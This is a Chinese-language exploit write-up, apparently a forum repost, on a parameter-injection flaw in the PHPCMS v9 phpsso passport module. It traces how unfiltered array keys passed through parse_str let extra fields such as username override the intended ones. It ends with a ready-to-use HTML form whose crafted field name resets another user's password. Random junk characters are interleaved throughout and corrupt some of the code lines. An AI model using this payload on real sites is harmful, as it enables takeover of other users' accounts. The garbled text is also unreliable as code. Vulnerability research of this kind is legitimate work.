提到的通行证的代码:
$ G6 X' a( b1 A6 N: [7 x; r) x
; v" m" h- n# ? z0 M4 a/ T& r6 Z# L1 S. O! K
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
( G9 V, S0 M5 l# R& r O* e+ }# o: T0 h1 @. d; Q
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。5 u: T; n+ V, y& T
" L" p# [! [ ~; G! G
我把它留给了你们。' Q+ q4 O: i- }
不知道你们发现了它没有。
: A U" K" B9 L1 Q2 Y3 }) N8 V9 w, o: q
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
9 O0 _, b5 b% v) A4 y* c" h/ _
, f. I: L% o4 {8 g! G5 T4 {所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
* i: h! m8 E4 K, h! ]+ _
* B5 [! T* ~* [& G, z7 ]也就是5 N% A0 X, m; _. _
0 a3 a7 ]! u7 u3 D) ?! C* a
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
1 b% g; Q: D' s6 j8 J0 q' S5 R n: q6 {' F8 T6 _
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
. T# L$ H! C$ T, m
+ X) m# g, T8 j2 z, K. `9 T% a Z* T) R# s U1 ]7 o
其实我们有这样的机会,看看代码,如下:' ]* B% i) d0 i. Y% Z1 k
3 a" H4 `0 Y8 g3 m7 l) `0 v) W$ ]7 ~* k. b$ g
public function auth_data($data) {
, s2 j1 o- _1 F& M$ U $s = $sep = '';
7 P- y- C) j7 f2 C( d. |7 ? foreach($data as $k => $v) {
5 o5 g7 }% h" ]( d* ^4 ?/ Z1 f! V" Z2 }" Z if(is_array($v)) {" B2 w- q7 ~: x' Z- v( C
$s2 = $sep2 = '';. }+ ]+ p. K2 t6 S! R! z! {
foreach($v as $k2 => $v2) {5 Z& {; Y- p: j1 Y2 N' g
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);8 i" t. c1 S5 V$ t% W+ }
$sep2 = '&';9 l8 |3 b6 f! P1 l6 d$ G; t
} |4 z( o% V, I3 C4 E1 G
$s .= $sep.$s2;+ s* Y/ U( [8 Z' k* ^6 r3 h2 Y# N
} else {" a' Y/ B+ A, Q* P
$s .= "$sep$k=".$this->_ps_stripslashes($v);4 x1 ?3 @6 V. c
}& M: s* H& \% v% n$ l
$sep = '&';
* I% |* W2 ?* a }
; S) N1 d: r+ e! P: Z0 ]; d+ u' r, N9 j2 d
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));1 J& p6 N' O6 G1 U% e/ X% X
return $auth_s;; W, Z. M X' q. S( U: g x
}
/ P; o2 K9 R! M. g* w/ e9 Y$ l4 M g" S! W2 M+ x
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
7 e2 I$ b# r/ U1 I
1 q! N' f0 F: T$ f, ^6 _* I举个例子
8 o3 N$ v3 c1 y9 H& K& O+ o: G0 `; q& m% V C
$a[aaa=a&bbb] = 'a';
: n6 q5 g! m+ ?3 F, Q, r, v: }. A7 Z, f. [& n0 Y# U: T. j
会变成aaa=a&bbb=a
7 [: M% v4 Y: e3 C; b+ Q3 t% A, h* Y1 z: e$ S
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
0 J* B5 Q! t B6 l! ]; Q! l! A. s4 o4 l
这个时候,我们可以再去看一个函数。
) B; d5 a# E" {' m6 s4 |
: _* O( V- t7 K! S8 y: p就在这个文件内:
" W/ ?2 _& J; l# |/ A+ V0 k2 {, H7 |" ]6 s" j
9 A! t, V# a% F: V* C- upublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {& ~+ K& Z' D/ a4 N! m- q ]7 J
if($email && !$this->_is_email($email)) {" e9 j$ u6 z; C$ \+ V( x7 f
return -4;
5 K2 Q3 z9 f/ p/ e }
- F! t4 @* o5 P1 g) w return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));- `' _3 n6 O4 G/ a3 e
}
6 ^+ e) u: Q1 H0 \9 i: F4 K5 V4 l5 I3 H: b0 B, u0 g
这是向通行证发了这样一个请求。
( \5 L$ P; ]. _" O; h3 O2 ^! S' P% d: h* g% {1 k
我们再跟到通信证代码里去看看,就会有所发现。+ ^0 k" k( r p. l3 t$ k9 B3 y
5 {3 g& q7 s! s
" s1 P% a, c) d& F
public function edit() {
8 O! V! m, t$ {% I) {1 G: K//能省就省,太长了不是吗?
" o; z1 a- ]: A x6 C( J- ?7 }: w) Y' o* ^- B$ g/ e: |
if($this->username) {
% @1 A% C. W: ?9 V% M" \//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
! u0 c; X; [2 R, S/ k1 k5 A $res = $this->db->update($data, array('username'=>$this->username));; X0 W0 ]: H- b
} else {
. z8 j/ ]- m# Z& X! p* { file_put_contents('typeb.txt',print_r($data,1).$this->uid);
# J# Q8 A9 B9 [/ H. h5 E $res = $this->db->update($data, array('uid'=>$this->uid));
5 J9 R( Y$ i3 C7 K }
4 T5 ?# B( ^6 x/ T/ }; t% l7 ^4 m2 V8 |, t+ f+ I0 i" V+ `* @4 T/ `
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
' {1 F/ t( p* S( F* T* f) N3 e# G( G/ I; c' K: S5 s$ t
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')& l5 H5 t, c2 o2 K' b' F
) n. c" z, D' q3 T
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
# o( P6 q" u# D' [
P9 _" N! I$ C. O" R+ |我当然找到了:# i% i) V! x/ D- g7 l$ M0 @: M; C8 W
phpcms9/phpcms/modules/member/index.php
) v6 H' ?8 V: L2 B8 G
3 T/ N# `. J2 j; |$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
* |/ \# G; ?( u# W6 J9 Z( B
: G" ]! V- @& P% X然后就没有然后了。
[0 `4 j7 R) T6 x8 H' @3 `
3 I. t. \0 q" l; D! G! F<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
/ I* w/ K/ e. S# |3 ] <table width="100%" cellspacing="0" class="table_form">/ L( z8 ^$ m# J! \% X3 [
<tr>% y# j$ `+ X% { p; {
<th width="80">邮箱:</th> . A; ^* @5 w7 ^' x- K: ^% v
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
9 P2 w# Y& G7 ?/ C3 f* r) j </tr>, O7 n. H( e6 z( h5 H3 K
<tr> [ m8 H( y; L8 C0 ?+ \5 B- O
<th width="80">原密码:</th>
" T& B1 w" k: \4 v <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>+ |2 M, D# o+ b# h: e6 h( }
</tr>
5 N" w8 S& q0 n7 {, {' H <tr>
) I% @, K! {: Z <th>新密码:</th>
1 Q. u7 |+ Z0 t- \8 B% ]0 B <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
" U/ m* W$ u4 n# l% [ </tr>/ [' t- C% U l, M: P% s5 K* \6 C7 u7 \. b
<th></th>1 t& @1 A: _0 \: e4 _+ S7 |6 O9 @5 [ r
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>- ]4 w S+ V' m0 G7 c$ x @
</tr>
6 }. U, f3 k+ |# Z" | </table>" J5 A% ~$ e' k
- F& B- [& e7 M' s# b. } & S V- C4 O# ?0 _3 x/ O0 w
</form>( Y: B- q. ?" {( ~0 V& w* C
|